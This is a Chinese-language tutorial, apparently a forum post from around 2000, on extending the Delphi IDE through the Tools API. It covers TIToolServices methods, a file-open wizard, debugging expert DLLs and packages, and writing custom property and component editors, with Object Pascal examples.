OpenProject(const ProjName: string): Boolean; virtual; export;
abstract;
function OpenProjectInfo(const
ProjName: string): Boolean; virtual;
export; abstract;
function SaveProject: Boolean; virtual; export;
abstract;

function CloseFile(const FileName:
string): Boolean; virtual; export;
abstract;
function SaveFile(const FileName: string): Boolean;
virtual; export;
abstract;
function
OpenFile(const FileName: string): Boolean; virtual; export;
abstract;
function ReloadFile(const FileName:
string): Boolean; virtual; export;
abstract;
function ModalDialogBox(Instance: THandle; TemplateName:
PChar;
WndParent: HWnd;
DialogFunc: TFarProc; InitParam: LongInt): Integer; virtual; export;
abstract;
function CreateModule(const
ModuleName: string; Source, Form:
TIStream;

CreateFlags:
TCreateModuleFlags): Boolean; virtual; export;
abstract;

{ Project/UI information
}
function GetParentHandle: HWND; virtual; export;
abstract;

function GetProjectName: string;
virtual; export; abstract;

function
GetUnitCount: Integer; virtual; export;
abstract;

function GetUnitName(Index: Integer):
string; virtual; export; abstract;

function
GetFormCount: Integer; virtual; export;
abstract;

function GetFormName(Index: Integer):
string; virtual; export; abstract;

function
GetCurrentFile: string; virtual; export;
abstract;

function IsFileOpen(const FileName:
string): Boolean; virtual; export;
abstract;
function GetNewModuleName(var UnitIdent, FileName:
string):
Boolean;

virtual; export; abstract;

{ Component
Library interface }
function GetModuleCount:
Integer; virtual; export; abstract;

function
GetModuleName(Index: Integer): string; virtual; export;
abstract;
function GetComponentCount(ModIndex:
Integer): Integer; virtual; export;
abstract;
function GetComponentName(ModIndex,CompIndex: Integer):
string; virtual;
export; abstract;

{function InstallModule(const ModuleName: string): Boolean; virtual;
export; abstract;
function CompileLibrary:
Boolean; virtual; export; abstract;

}

{ Error handling }
procedure RaiseException(const Message: string); virtual; export;
abstract;
end;

implementation

Tool services 对象在(Delphi/C++Builder)应用程序一方创建,
并在初始化时传递给负责 VCS/Expert 管理的 DLL.
注意, (Delphi/C++Builder)应用程序负责创建和释放接口对象, 而使用者绝对不要释放接口.

对使用者有效的 ToolServices 函数如下(对 Delphi 1.0, 2.0x, 3 都有效):

动作:

CloseProject
如果当前没有打开工程, 或当前工程关闭成功, 返回 True.

OpenProject
如果指定名称的工程打开成功, 返回 True.
要创建新的工程和主窗体, 必须传入一个空字符串.

OpenProjectInfo
如果指定的工程打开成功, 返回 True.
这个函数略过普通工程的载入特性(比如载入桌面设置文件, 显示源代码等),
而只简单地打开 .dpr 和 .opt 文件.

SaveProject
如果当前工程未修改, 或当前没有打开工程, 或当前工程保存成功, 返回 True.

CloseFile
如果指定的文件没有被打开, 或关闭成功, 返回 True.

OpenFile
如果指定的文件已经被打开, 或打开成功, 返回 True.

ReloadFile
如果指定的文件已经被打开, 而且再次成功地从磁盘载入, 返回 True. (注意, 这项操作不检查当前编辑器状态)

RefreshBuffers
使得 IDE 检查所有打开的文件的日期/时间标记, 确定磁盘上的文件是否修改过,
如果是, 文件将被重新载入.

ModalDialogBox
供非 VCL DLL 使用, 显示一个模态(modal)对话框.
注意, 使用 VCL 编写的 DLL 不需要调用这个方法, 而可以简单地使用窗体的 ShowModal 函数.

CreateModule
从内存映象中创建新的模块, 包括源文件和(可选的)窗体文件.
TCreateModuleFlags 包括:
cmAddToProject: 将新模块加入到当前工程中.
cmShowSource: 在最上层的编辑器窗口中显示源文件.
cmShowForm: 如果创建了窗体, 将窗体显示在源文件之上.
cmUnNamed: 将模块标记为未命名, 用户第一次试图保存文件时将出现 SaveAs 对话框.
cmNewUnit: 创建新的单元, 并加入到当前工程中. 注意: 其他所有参数将被忽略.
cmNewForm: 创建新的窗体, 并加入到当前工程中. 注意: 其他所有参数将被忽略.
cmMainForm: 如果模块包括窗体, 将窗体设置为当前工程的主窗体. 必须与 cmAddToProject 选项组合才有效.
cmMarkModified: 确保新模块标记为修改过.

信息:

GetParentHandle
返回窗口句柄, 使用者创建窗体时将以这个句柄作为父窗口句柄.

GetProjectName
返回当前工程的完整路径及名称, 如果没有打开工程, 返回空字符串.

GetUnitCount
返回当前工程中包含的单元数量.

GetUnitName
返回指定单元的完整路径及名称.

GetFormCount
返回当前工程中包含的窗体数量.

GetFormName
返回指定窗体的完整路径及名称.

GetCurrentFile
返回当前文件的完整路径及名称, 当前文件可以是窗体或单元. 如果当前没有选择文件, 返回空字符串.

IsFileOpen
如果指定的文件已打开, 返回 True.

GetNewModuleName
自动生成有效的文件名及单元名标识符. 使用与 IDE 相同的机制.

GetModuleCount
返回组件库中安装的模块数量.

GetModuleName
返回指定模块的名称, 模块通过索引号指定.

组件库接口:

GetComponentCount
返回确定的模块中安装的组件数量.

GetComponentName
返回指定组件的名称, 组件通过模块索引号及组件在模块内的索引号指定.

意外处理:

RaiseException
在 IDE 中产生一个意外, 这个意外的消息由传递给这个函数的字符串参数决定.
注意: 这将导致栈释放, 控制将不会返回到这里.
库有责任确保在调用这个函数前正确地处理了意外情况.

(与 Delphi 1.x 相比)在 Delphi 2.0x, 3 中 TIToolInterface 包括一些扩展的 Tools API,
不仅是 TIExpert 增加了新的方法, 更主要的是 TIToolServices.
下面这些扩展的方法是新增的, 而且只对32位版本的 Delphi 有效(与 Delphi 1.0 中相同的方法没有列出):

TIToolServices = class(TInterface)
public
{
Action interfaces }
function CreateModuleEx(const ModuleName,
FormName, AncestorClass,

FileSystem: string;
Source, Form: TIStream;

CreateFlags:
TCreateModuleFlags): TIModuleInterface; virtual;

stdcall; abstract;

{ Project/UI information }
function
EnumProjectUnits(EnumProc: TProjectEnumProc; Param: Pointer):
Boolean;
virtual; stdcall; abstract;

{ Virtual File system interfaces }
function RegisterFileSystem(AVirtualFileSystem: TIVirtualFileSystem):
Boolean;
virtual; stdcall; abstract;
function UnRegisterFileSystem(const Ident: string): Boolean; virtual;

stdcall; abstract;
function
GetFileSystem(const Ident: string): TIVirtualFileSystem; virtual;

stdcall; abstract;

{
Editor Interfaces }
function GetModuleInterface(const FileName:
string): TIModuleInterface;

virtual; stdcall;
abstract;
function GetFormModuleInterface(const FormName:
string): TIModuleInterface;

virtual;
stdcall; abstract;

{ Menu Interfaces }
function GetMainMenu: TIMainMenuIntf; virtual; stdcall; abstract;

{ Notification registration }
function AddNotifier(AddInNotifier: TIAddInNotifier): Boolean;

virtual; stdcall; abstract;
function RemoveNotifier(AddInNotifier: TIAddInNotifier): Boolean;

virtual; stdcall; abstract;

{ Pascal string handling functions }
function NewPascalString(Str: PChar): Pointer; virtual; stdcall; abstract;

procedure FreePascalString(var Str: Pointer); virtual;
stdcall; abstract;

procedure ReferencePascalString(var Str:
Pointer); virtual; stdcall;
abstract;
procedure
AssignPascalString(var Dest, Src: Pointer); virtual;

stdcall; abstract;

{
Configuration Access }
function GetBaseRegistryKey: string;
virtual; stdcall; abstract;

end;

对使用者有效的 ToolServices 函数如下(只对32位版本的 Delphi 有效):

动作:
CreateModuleEx
扩展形式的 CreateModule 方法. 将返回一个 TIModuleInterface 接口.
支持 CreateModule 中使用的所有 CreateModes, 但有一点不同:
cmExisting: 从指定的文件系统中创建一个已存在的模块.
增加了 AncestorClass 参数, 用于指定基类(必须是工程中已有的,
可以先使用 cmAddToProject 标志将模块加入到工程中).

信息:
EnumProjectUnits
对过程中的所有单元调用 EnumProc.

编辑器:
GetModuleInterface
返回一个关联到指定文件的模块接口.
这个函数对给定的模块返回相同的接口, 只有计数器作了修正,
用户根据自己的需要使用这个接口, 而且结束时必须调用 release.

GetFormModuleInterface
返回一个关联到指定窗体的模块接口.

菜单:

GetMainMenu
返回 IDE 主菜单的接口. 详细信息参见 TIMainMenuIntf.

通知(Notification):

AddNotifier
注册一个 TIAddInNotifier 派生类的实例.

RemoveNotifier
删除一个已注册的 TIAddInNotifier 派生类的实例.

配置访问:

GetBaseRegistryKey
返回 Delphi 基本注册信息主键的完整路径.
这个主键关联到 HKEY_CURRENT_USER.

虚拟文件系统:
RegisterFileSystem 方法和 UnRegisterFileSystem 方法似乎是为将来的版本预留的,
以便实现与端口, 操作系统, 文件系统相关的特性.
(注: 本文写作日期比较老, 大概是在 Delphi 3 时期, 新版本的 Delphi 似乎已经实现了虚拟文件系统)

Pascal 字符串处理:
对于使用非 Pascal 语言(例如 C 或 C++)的程序员, 提供了 Pascal 字符串处理函数.
使用 Delphi 的程序员绝对不需要使用这些函数,
但为了完整起见, 我们还是来看看这些函数:

NewPascalString
根据指定的PChar(在 C 中是 char*)内容分配并返回一个 Pascal 长字符串.
如果 PChar 中传入 nil 或空字符串, 则返回值将是 nil (等价于 Pascal 的空字符串).

FreePascalString
通过减少引用计数来释放给定的 Pascal 字符串, 如果引用计数降为0, 释放实际的内存.

ReferencePascalString
增加给定的 Pascal 字符串的引用记数.
调用这个函数可以人为地延长字符串的生存期.
必须相应地调用 FreePascalString, 以便实际地释放字符串所占用的内存.

AssignPascalString
将 Pascal 字符串赋值给另一个字符串.
绝对不要直接在 Pascal 字符串之间进行赋值.
这样做会产生孤立内存并导致内存泄露.
目的字符串将引用源字符串,
因此目的字符串的引用记数将减少,
源字符串的引用记数将增加.

--------------------------------------------------------------------------------
来自：李颖 时间：00-5-27 23:41:02 ID:254575
怎样编写DELPHI向导(五)

5. TFileOpenDialogExpert

通过 TIToolServices 接口我们的确获得了很多信息和能力.
下面我们尝试着做一些简单的事情.
让我能够把任意文件作为新工程打开的 API 似乎就是 OpenProject,
它的唯一参数就是一个完整的文件名.

TFileOpenExpert 的第一个版本的引擎如下:

TFileOpenExpert
GetStyle: esStandard
GetIDString: DrBob.TFileOpenExpert.standard
GetName: FileOpen Wizard
GetAuthor (win32): Bob Swart (aka Dr.Bob)
GetMenuText: &FileOpen Wizard...
GetState: [esEnabled]
GetGlyph: 0
GetPage (win32):
GetComment:

因此, 我们在 Execute 方法中要作的就是如何得到完整的文件名, 然后调用 ToolServices.OpenProject.
最简单的方法大概就是使用 TOpenDialog, 因此 Execute 方法的源代码大致如下:

procedure TFileOpenExpert.Execute;
begin
with TOpenDialog.Create(nil) do
begin
if Execute then
ToolServices.OpenProject(FileName);
Free
end
end {Execute};

好, 差不多就是我们想要的了. 我们忘了初始化 TOpenDialog 的 Filter 属性.
另外, 我们打开新工程时, 没有关闭前一个工程中的文件,
因此在调用 OpenProject前还应该调用 SaveProject 和 CloseProject.

procedure TFileOpenExpert.Execute;
begin
with TOpenDialog.Create(nil) do
begin
Title :=
GetName; { name of Wizard as OpenDialog caption
}

Filter := 'All Files
(*.*)|*.*';

Options := Options +
[ofShowHelp, ofPathMustExist, ofFileMustExist];

HelpContext := 0;
if Execute then
begin
ToolServices.SaveProject;
ToolServices.CloseProject;
ToolServices.OpenProject(FileName)
end;
Free
end
end {Execute};


调试DLL型的向导

如何调试DLL型的向导

1退出IDE 。

2删除对应于DLL的HKEY_CURRENT_USER\Software\Borland\Delphi\X.0\Experts.下注册表项。

3启动IDE，确认向导没有被加载。

4编译向导在项目选项中确认打开debug information, stack frames, reference info等编译选项，同时关闭代码优化。

5．重新在HKEY_CURRENT_USER\Software\Borland\Delphi\X.0\Experts注册表项下注册向导。

6．选择运行Run|Parameters菜单输入delphi32.exe为DLL的宿主引用程序。按F9运行，这时一个Delphi32的备份程序就被运行了。现在我们就可以按正常程序一样设定断点，逐步跟踪了。注意Delphi 4 和BCB 4下调试经常会出问题，相对来说Delphi5就稳定多了。

如何调试编译在包里的向导

1． 在包的编译选项中打开debug information, stack frames, reference info等编译选项，关闭代码优化功能。

2． 编译包

3． 选择Run|Parameters菜单输入Delphi32.exe为包的运行宿主程序。

4． 按F9运行程序这时会运行Delphi32.exe的又一个程序，在新的IDE中打开项目选项，加载包到IDE中，然后我们就可以象调试正常程序一样来设定断点，逐步跟踪来调试。

同DLL型一样，Delphi4和BCB4不如Delphi5稳定。


属性和控件编辑器

Delphi提供了开放的API,是程序员可以增强Delphi IDE的功能。共有4种开放工具的APIs:属性编辑器、控件编辑器、专家/导航和版本控制系统。本文讨论属性编辑器和控件编辑器，给出的例子说明如何写自己的Delphi属性、控件编辑器。
属性编辑器
属性编辑器是Delphi IDE的扩展。这听起来非常复杂和困难，但是实际上是很简单的。我们可以为枚举类型构造一个属性编辑器。记得TForm的颜色属性吗？当我们想改变它的值，看到了下拉框中列出了所有的可选值。那就是枚举类型的属性编辑器，我们也同样能做到，只需要几行代码，没什么特别的。注意到程序员并没有写一个属性编辑器,而是通知Delphi使用枚举类型的属性编辑器，为它的枚举特别定义的。

现有的属性编辑器

在我们搞清楚属性编辑器到底内部是什么之前，先看看Delphi中已有的。开始一个新工程，在implementation中加入"uses DsgnIntf;"编译，打开browser查找TPropertyEditor(只要输入TPrope):

如果没算错的话，在DSGNINTF中注册了至少21个客户属性编辑器(custom property editors)，注意：事实上，还有更多的属性编辑器在其他单元中，例如C:\DELPHI\LIB\PICEDIT.DCU.中的TPictureEditor。

TPropertyEditor

对象察看器为所有的属性提供缺省的编辑。我们可以使用不同的方法重载这种行为，来使用特别的属性编辑器(21种预制的属性编辑器都扩充了对象察看器来处理其属性)。那么，究竟是怎样工作的呢？它是起源一个基类，我们必需重载已达到我们的目的。五个新的Delphi 2.0的方法-其中三个是变量相关的-在编译开关{$IFDEF WIN32}中一保证一下代码在所有的delphi版本中适用。

Type
TPropertyEditor = class
protected
function GetPropInfo: PPropInfo;
function GetFloatValue: Extended;
function GetFloatValueAt(Index: Integer): Extended;
function GetMethodValue: TMethod;
function GetMethodValueAt(Index: Integer): TMethod;
function GetOrdValue: Longint;
function GetOrdValueAt(Index: Integer): Longint;
function GetStrValue: string;
function GetStrValueAt(Index: Integer): string;
{$IFDEF WIN32}
function GetVarValue: variant;
function GetVarValueAt(Index: Integer): variant;
{$ENDIF}
procedure Modified;
procedure SetFloatValue(Value: Extended);
procedure SetMethodValue(const Value: TMethod);
procedure SetOrdValue(Value: Longint);
procedure SetStrValue(const Value: string);
{$IFDEF WIN32}
procedure SetVarValue(const Value: variant);
{$ENDIF}

public
destructor Destroy; override;

procedure Activate; virtual;
function AllEqual: Boolean; virtual;
procedure Edit; virtual;
function GetAttributes: TPropertyAttributes; virtual;
function GetComponent(Index: Integer): TComponent;
function GetEditLimit: Integer; virtual;
function GetName: string; virtual;
procedure GetProperties(Proc: TGetPropEditProc); virtual;
function GetPropType: PTypeInfo;
function GetValue: string; virtual;
procedure GetValues(Proc: TGetStrProc); virtual;
procedure Initialize; virtual;
{$IFDEF WIN32}
procedure Revert;
{$ENDIF}
procedure SetValue(const Value: string); virtual;
{$IFDEF WIN32}
procedure ValueAvailable: Boolean;
{$ENDIF}

property Designer: TFormDesigner read FDesigner;
property PrivateDirectory: string read GetPrivateDirectory;
property PropCount: Integer read FPropCount;
property Value: string read GetValue write SetValue;
end;

TPropertyEditor编辑对象察看器中一个或是一串控件的一个属性。属性编辑器根据属性的类型而被创建，由RegisterPropertyEditor注册的类型决定。稍候有一个指示程序员如何使用这些工程的例子。所有的published属性都将出现在对象察看器中，当设计者进行读写属性的值时，其属性编辑器(为这种属性类型的)将被使用。

在以下的时间里，我们将只注意方法中的需要被重载的重要部分，属性编辑器的行为。

GetAttributes

这是最重要的方法，他决定了属性编辑器的类型和行为。有三种属性编辑器(除了缺省的编辑框):下拉框(我们在前面提到过的),分属性列表和对话框。
GetAttributes返回TPropertyAttributes类型，包含了一下内容：

paValueList：属性编辑器能返回属性的枚举列表。如果GetValues调用过程附带值，这个属性必需设置。这将使在对象察看其中的属性的右边出现下拉按钮。
paSubProperties: 属性编辑器有子属性时，将在当前属性下方显示成标准的大纲格式。如果GetProperties产生属性对象时这个属性必需设置。
paDialog:表示这个编辑方法将产生对话框。这将在对象察看其中的属性右边出现'...'按钮。
paSortList: 对象察看器将把GetValues返回的列表按照字母排序。
paAutoUpdate: 每当编辑发生改变是调用SetValue方法，而不是改变别提交时。例如Caption属性。
paMultiSelect: 允许多个控件被选择时显示属性的值。有些属性不适合多选的情况。例如Name属性。
paReadOnly: 属性值不允许改变。
GetValue：返回属性的串值，缺省时返回'(unknown)'，这应该被重载以返回适当的值。
GetValues：当GetAttributes返回paValueList时被调用。它必须为每一个属性所接受的值调用参数函数。TEnumProperty将在列举中传递所有的参数。
SetValue(Value):设置属性的值。属性编辑器必须能够知道调用哪一个SetXxxValue函数。如果字符串不是合适的格式或不是合法的值，属性编辑器应该产生一个例外，描述产生的问题。SetValue可以忽略所有的改变，允许通过Edit方法编辑所有的属性。例如Picture属性。
Edit
当'...'按钮被安下或是属性被连击识别调用。这样，例如弹出一个对话框，通过更有效的方法，而不是简单的文本来编辑属性。例如Font属性。

TFileNameProperty

使用这几个重要的方法我们就能写出自己的属性编辑器了：为filename建立一个大卡文件对话框属性编辑器。我们得记住编写控件从本质来说是非可视化的任务，写书信编辑器并不复杂。我们需要制定一个我们说想要的'Dialog'类型，所以我们在GetAttributes中返回[paDialog]。然后，我们在Edit过程中处理，这次包含一个TOpenDialog来找到任何存在的文件。

unit FileName;
interface
uses
SysUtils, DsgnIntf;

Type
TFileNameProperty = class(TStringProperty)
public
function GetAttributes: TPropertyAttributes; override;
procedure Edit; override;
end;

procedure Register;

implementation
uses
Dialogs, Forms;

function TFileNameProperty.GetAttributes: TPropertyAttributes;
begin
Result := [paDialog]
end {GetAttributes};

procedure TFileNameProperty.Edit;
begin
with TOpenDialog.Create(Application) do
try
Title := GetName; { name of property as OpenDialog caption }
Filename := GetValue;
Filter := 'All Files (*.*)|*.*';
HelpContext := 0;
Options := Options + [ofShowHelp, ofPathMustExist, ofFileMustExist];
if Execute then SetValue(Filename);
finally
Free
end
end {Edit};

procedure Register;
begin
RegisterPropertyEditor(TypeInfo(TFileName),nil, '', TFileNameProperty)
end;
end.

注意到我们调用属性编辑器的GetName函数来得到属性的名字。

属性编辑器需要注册过程(register)在delphi中来注册它本身(确切的说是在delphi应用程序中)。我们可以只为一个控件注册属性编辑器，也可以我所有的相同类型的属性注册。例如上面的例子TFileNameProperty就是为所有的控件做的。当然，属性编辑器必需安装了并且首先注册。

为了在Register过程中注册，我们需要调用RegisterPropertyEditor。它有4个参数：第一个是属性类型的类型信息的指针。这里，我们使用内置的函数TypeInfo。第二个是这个编辑器应用的控件类型，如果为nil，这个编辑器为所有控件的所有给定的类型的属性。这里，我们希望属性编辑器为所有的控件的TFileName类型工作。所以只需要把第二个参数置为nil。第三个参数时属性的名字，这个参数只有在第二个参数指定了控件的类型的情况下才有作用。同样，我们把它置为空字符串。第四个参数属性编辑器的自己的类型，这里是TFileNameProperty。

安装属性编辑器和安装控件类似。这里，属性编辑器有自己的注册过程(不失为某个控件的属性编辑器，而是某个属性的)。一般来说，如果一个属性编辑器是为特别控件的特别属性，最好和控件一起注册。现在，我们只要把带有TFileNameProperty的单元FILENAME加到控件版中(delphi 1：使用Options | Install Components，Delphi 2中使用Component | Install。

安装之后，在任何控件的TFileName类型的属性，我们可以看到省略号，这表明对话框的属性编辑器已在这个属性中安装了。

如果点击省略号，导致Delphi 2弹出如下对话框。

只用了几行代码，我们就写出了为所有控件的TFileName类型的属性的TFileName属性编辑器。这仅仅是个例子，展示了属性编辑器在编写Delphi控件和程序的巨大潜能。

在我们研究下一个例子之前，来看看TPropertyEditor其他可以别重载的方法：

Activate
这个方法在属性被选中时别调用。这可能有用，决定某些属性被选中时的行为。只有GetAttributes返回paSubProperties和paMultiSelect时，才学要准确的控制。
AllEqual
当超过一个控件被选中时别调用。如果这个方法返回true，调用GetValue，否则在对象察看其中显示空白。只有在GetAttributes返回paMultiSelect时被调用。
GegComponent
返回属性编辑器的控件的索引。当项获得控件时要用倒它。只有在GetAttributes返回paMultiSelect时，属性编辑器才能处理多个控件。
GetEditLimit
返回使用这可以输入的值得字符串的个数，对象察看其内置的编辑器对这有限制，缺省值为255。
GetName
返回属性的名字，缺省时值时从类型信息中得到的。如果属性的值和对象察看其中所显示的不一样时才有必要重载。
GetProperties
应该在被编辑的属性的每一个子属性时重载，调用PropertyProc,并为每一个子属性传递一个新的TPropertyEditor。缺省时，假定没有子属性，PropertyProc不别调用。TClassProperty将为每一个published属性传递一个新的属性编辑器。TSEtProperty为每一个元素传递一个新的编辑器。
GetPropType
返回被编辑的属性的类型信息的指针。
Initialize
由属性编辑器创建之后，使用之前调用。属性编辑器经常被创建，但因为不是整个选择的公用属性而被抛弃,Initialize只有在对象察看器使用时，而不是被抛弃属性编辑器时调用。
以下是创建新的TPropertyEditor类其他非常有用的属性和方法

Name 属性
GetName返回的属性的名称。
PrivateDirectory 属性
是.exe或Delphi.ini指定的工作目录(Working Directory)，如果属性编辑器需要辅助程序或是状态文件(模版、例子等)，他们应保存在这个目录中。
Properties indexed property
TProperty代表了所有被属性编辑器编辑的控件，如果不只有一个控件，每个控件都有创建的相应的TProperty,一般来说，用不着它，因为Get/SetXxxValue方法能适当的处理它。
Value属性
作为字符串，GetValue返回属性的当前值。
Modified
调用它来指示属性的值是否改变了。SetXxxValue方法会自动调用，如狗我们直接调用SetXxxValue,我们必须同样调用Modified。
GetXxxValue
得到属性中的一个属性的值。调用TRroperty适当的GetXxxValue方法来得到相应的值。
SetXxxValue
设置所有属性的值。调用TRroperty适当的GetXxxValue方法来得到相应的值。
TPicture 属性编辑器

好了，我们已经明白如何时属性编辑器的行为像对话框，只是我想起了Delphi中最令人急躁的属性编辑器：图形、图标、图像的picture编辑器。并不是它不工作，而是他并不友好。如果我们点击了Load按钮，在对话框中选这所需要的文件。问题是，在关闭对话框之前，我们无法看到文件中的内容。返回Picture编辑器，决定是否适合要求，所以我们呢不得不一次又一次的点击Load按钮。这在我们现在许多小文件中查找时特别令人恼火。
我们需要预览功能，看看目录种的图形文件中的图像，这对我来说是一个新的属性编辑器(Borland公司没有提供PICEDIT.DCU的源代码，PICEDIT.DFM通用没用，所以我们只能写自己的Picture编辑器，而不是增强现有的。

TImageForm

首先，我们的实际想要的对话框或表单，我已经设计了如下所示的一个，右下角显示了所选择的文件的图形，根据我们的需要，甚至可以对图像进行拉伸(对小图像没什么价值，对大图形就有效了)。
Win31:

Win95:
TPictureEditor

现在我们有了表单来选择图形，来看看如何让它在属性编辑器中工作。首先我们需要看看GRAPHIC.PAS来搞清楚什么图形、图像在第一个位置存在。我们受到TPersistert的两个继承所限制，TPicture和TGraphic，这用一来，我们只注意.bmp文件。只增强TPicture和TBitmap类，这意味着我们想为TPicture和TBitmap提供新的图形属性编辑器。

unit PictEdit;
interface
uses
DsgnIntf;

Type
TPictureEditor = class(TClassProperty)
public
function GetAttributes: TPropertyAttributes; override;
procedure Edit; override;
end;

procedure Register;

implementation
uses
SysUtils, Controls, Graphics, TypInfo, ImageFrm;

function TPictureEditor.GetAttributes: TPropertyAttributes;
begin
Result := [paDialog]
end {GetAttributes};

procedure TPictureEditor.Edit;
begin
with TImageForm.Create(nil) do
try
ImageDrBob.Picture := TPicture(GetOrdValue);
if ShowModal = mrOk then
begin
if (GetPropType^.Name = 'TPicture') then
SetOrdValue(LongInt(ImageDrBob.Picture))
else { Bitmap }
SetOrdValue(LongInt(ImageDrBob.Picture.Bitmap))
end
finally
Free
end
end {Edit};

procedure Register;
begin
RegisterPropertyEditor(TypeInfo(TPicture), nil, '', TPictureEditor);
RegisterPropertyEditor(TypeInfo(TBitmap), nil, '', TPictureEditor)
end;
end.

注意到我们并不想让TPictureEditor属于任何特别的控件，我们只有自己注册、安装，如同其他自定义的控件、专家，使用options|install components...对话框，在重新编译控件库之后(记住先备份!),我们得到了为每一个TPicture(TImage中的)和TBitmap（在TSpeedButton和TBitBtn)得到了新的Picture编辑器。

最重要的是，已有了为TPictures和TBitmaps的属性编辑器：Borland提供的名为picture的编辑器。如果我们用自己的名字会不会有麻烦呢？不会的。因为最后注册的特别的控件和属性编辑器将精确的重载上一个。例如，我们在装一个TBitmaps的属性编辑器，将覆盖我们刚才所安装的。这次，我们用增强了的TPictureEditor覆盖缺省的Borland的Picture编辑器。

好了，我们已经看了仅有的几种属性编辑器，我们特别讨论了paDialog属性编辑器。从我个人的观点来看，这是最容易的定制开发者在设计时输入属性值的方法。还有很多种方法来写属性编辑器，但我只能写到这里了。你可以自己察看TPropertyEditor类。下面，我们讲述Component Editor--控件编辑器。

Component Editors

控件编辑器和属性编辑器类似，都是用来增强Delphi的开发环境。和属性编辑器一样，他们是一个简单的类的继承，并且要重载和重定义一些方法来达到你想要的目的
当然，和属性编辑器不同的是控件编辑器编辑的是控件，而不是属性。它限制在特别的控件中，通常是在鼠标右击控件时运行（设计时），这种行为和属性编辑器大不相同，但另一个方面，编写控件编辑器的工程和属性编辑器很相似。

控件编辑是根据控件类型，为每一个设计表单上的控件创建的（参看DSGNINTF.PAS中的GetComponentEditor和RegisterComponentEditor）。当控件被双击，edit方法被调用。但控件的相关菜单被调用，GetVerbCount和GetVerb方法被调用来建立菜单。如果一个动作被选择，调用ExecuteVerb。但控件被粘贴到剪贴板，调用Paste方法。只用当我们想要在想光彩当中加入新的动作，改变鼠标双击的行为，或者是粘贴额外的剪贴板格式时，我们才需要创建控件编辑器。

基类TComponentEditor的类型定义在DSGNINTF.PAS，如下（适合于所有的delphi版本）：

Type
TComponentEditor = class
private
FComponent: TComponent;
FDesigner: TFormDesigner;
public
constructor Create(AComponent: TComponent;
ADesigner: TFormDesigner); virtual;
procedure Edit; virtual;
procedure ExecuteVerb(Index: Integer); virtual;
function GetVerb(Index: Integer): string; virtual;
function GetVerbCount: Integer; virtual;
procedure Copy; virtual;

property Component: TComponent read FComponent;
property Designer: TFormDesigner read FDesigner;
end;

控件编辑器程序员可以重载6个虚拟的方法（和属性编辑器相比较简单的多）

Create(AComponent, ADesigner)
调用它来创建控件编辑器。AComponent是编辑器要编辑的控件，ADesigner是设计者找到控制和创建方法的界面（不常用）。
Edit
单控件被双击时别调用，控件编辑器可以弹出对话框来响应这个动作，或者是一些设计指南。如果GetVerbCount比0大，edit会调用列表中的第一个动作。
ExecuteVerb(Index)
使用相关菜单的动作索引。这意味着这是由控件编辑器决定的。
GetVerb
属性编辑器应该返回在相关菜单中显示的字符串。放置&和...字符时控件编辑器的责任。
GetVerbCount
为GetVerb和ExecuteVerb提供的合法的数值，这个值从0开始计数（0...GetVerbCount - 1)。
copy
单控件被粘贴到剪贴板时被调用。控件的文件图形已经在剪贴板中了。这个了控件编辑器一个改变类型格式的机会，设计者会忽略，但其他程序可以识别。
缺省的控件编辑器

除了通常的控件编辑器，还有其他的控件编辑器在许多控件中使用（除非安装了其他控件编辑器重载了缺省的）。TDefaultEditor

Apart from the general type TComponentEditor, there is also a default component editor that is used by most components (unless another component editor is installed to override the default one). The TDefaultEditor default component editor implements Edit to search the properties of the component and to generate (or navigate to an already existing) the OnCreate, OnChange or OnClick event, whichever it finds first, or just the first alphabetic event handler which is available.

Type
TDefaultEditor = class(TComponentEditor)
private
FFirst: TPropertyEditor;
FBest: TPropertyEditor;
FContinue: Boolean;
procedure CheckEdit(PropertyEditor: TPropertyEditor);
protected
procedure EditProperty(PropertyEditor: TPropertyEditor;
var Continue, FreeEditor: Boolean); virtual;
public
procedure Edit; override;
end;

当控件编辑器改变控件时，它必须调用Designer.Modfied方法告知设计者控件所属的表单经改变了。Designer是TFormDesigner类型的属性，可以从TComponentEditor基类中得到。任何控件编辑器都可以和设计者交流（至少要告诉设计者控件已经被修改了），如果我们只是用控件编辑器来显示一些信息（如产生一个about对话框），就没有必要通知设计者。

定制控件编辑器Custom Component Editor
当编写定制的控件时，一般考虑几个可能的基类，所有vcl的类都以TObject为根，TObject类包含了Create和Destroy方法，用于创建和注销类的一个实例。TPersistent类，从Tobject继承，包含了从表单文件中读写属性的方法。TComponent是所有控件父类，因为它包含的属性和方法允许Delphi使用TComponent作为设计单元，通过对象查看器查看他们的属性，并把这些控件放置在控件面板上。

TObject
+- TPersistent
+- TComponent
+- TControl
+- TGraphicControl
+- TWinControl
+- TCustomControl

如果我们想创建一个新的非可视化的控件，就须要从TComponent继承。可视化控件类应该从TControl类继承。因为它包含了可视化设计控件的基本功能，象位置、可视性、字体和标题。从TControl类继承的是TCraphicControl和TWinControl，两者的区别在于TWinControl包含了实际的窗口句柄而TCraphicControl没有。这样，标准的Windows控制从TWinControl继承，而TBevel，TImage，TSpeedButton和TShape则从TCraphicControl继承，最后，TCustomControl与TWinControl TGraphicControl都相似（？？？）既然缺省的控件编辑器能产生事件句柄的基本代码，象OnCreate，OnChange，OnClick事件，我们首先看没有或不需要这样事件的控件，不需要窗口句柄的控件，例如不需要输入焦点，非可视化控件从Tcomponent继承。

其它控件编辑器需要控制的控件，是通用对话框控件。例如TOpenDialog，TSaveDialog，ColorDialog，PrintDialog和PriterSetupDialog，FontDialog，FindDialog，RePlaceDialog已经有一些事件，所以不适合（当要写一个事件句柄时，缺省的控件编辑器将把我们带到代码编写器中），这五个有趣的对话框没有事件，缺省的控件编辑器也没有缺省的行为。

那么这些对话框的控件编辑器意味着什么？

当你设置TOverDialog所有的属性，你是否要知道[你所改变的是什么样子]？我们只有运行程序，这样才能运行对话框，能否简单一些，只要双击对话框就能预览其状态？好，我想可以，以下部分是如何解决这个问题。

我们只要重载TComponentEdit类的edit方法，看看运行的是什么TComponent，然后运行它。

procedure TCommonDialogComponentEditor.Edit;
begin
if (Component IS TOpenDialog) then { also TSaveDialog }
(Component AS TOpenDialog).Execute
else
if (Component IS TPrintDialog) then
(Component AS TPrintDialog).Execute
else
if (Component IS TPrinterSetupDialog) then
(Component AS TPrinterSetupDialog).Execute
else
if (Component IS TColorDialog) then
(Component AS TColorDialog).Execute
else
inherited Edit { default behaviour }
end {Edit};

注意“inherited Edit”是必须的，这样才能确保不是TComponent时缺省的控件编辑器行为能保证执行。

注册控件编辑器，如同定制控件及属性编辑器，设置比注册属性编辑器更简单，因为我们调用RegisterComponentEditor只需要两个参数，第一个参数是控件编辑器所需控件的名字（类型），第二个是参数是控件编辑器本身的类型。

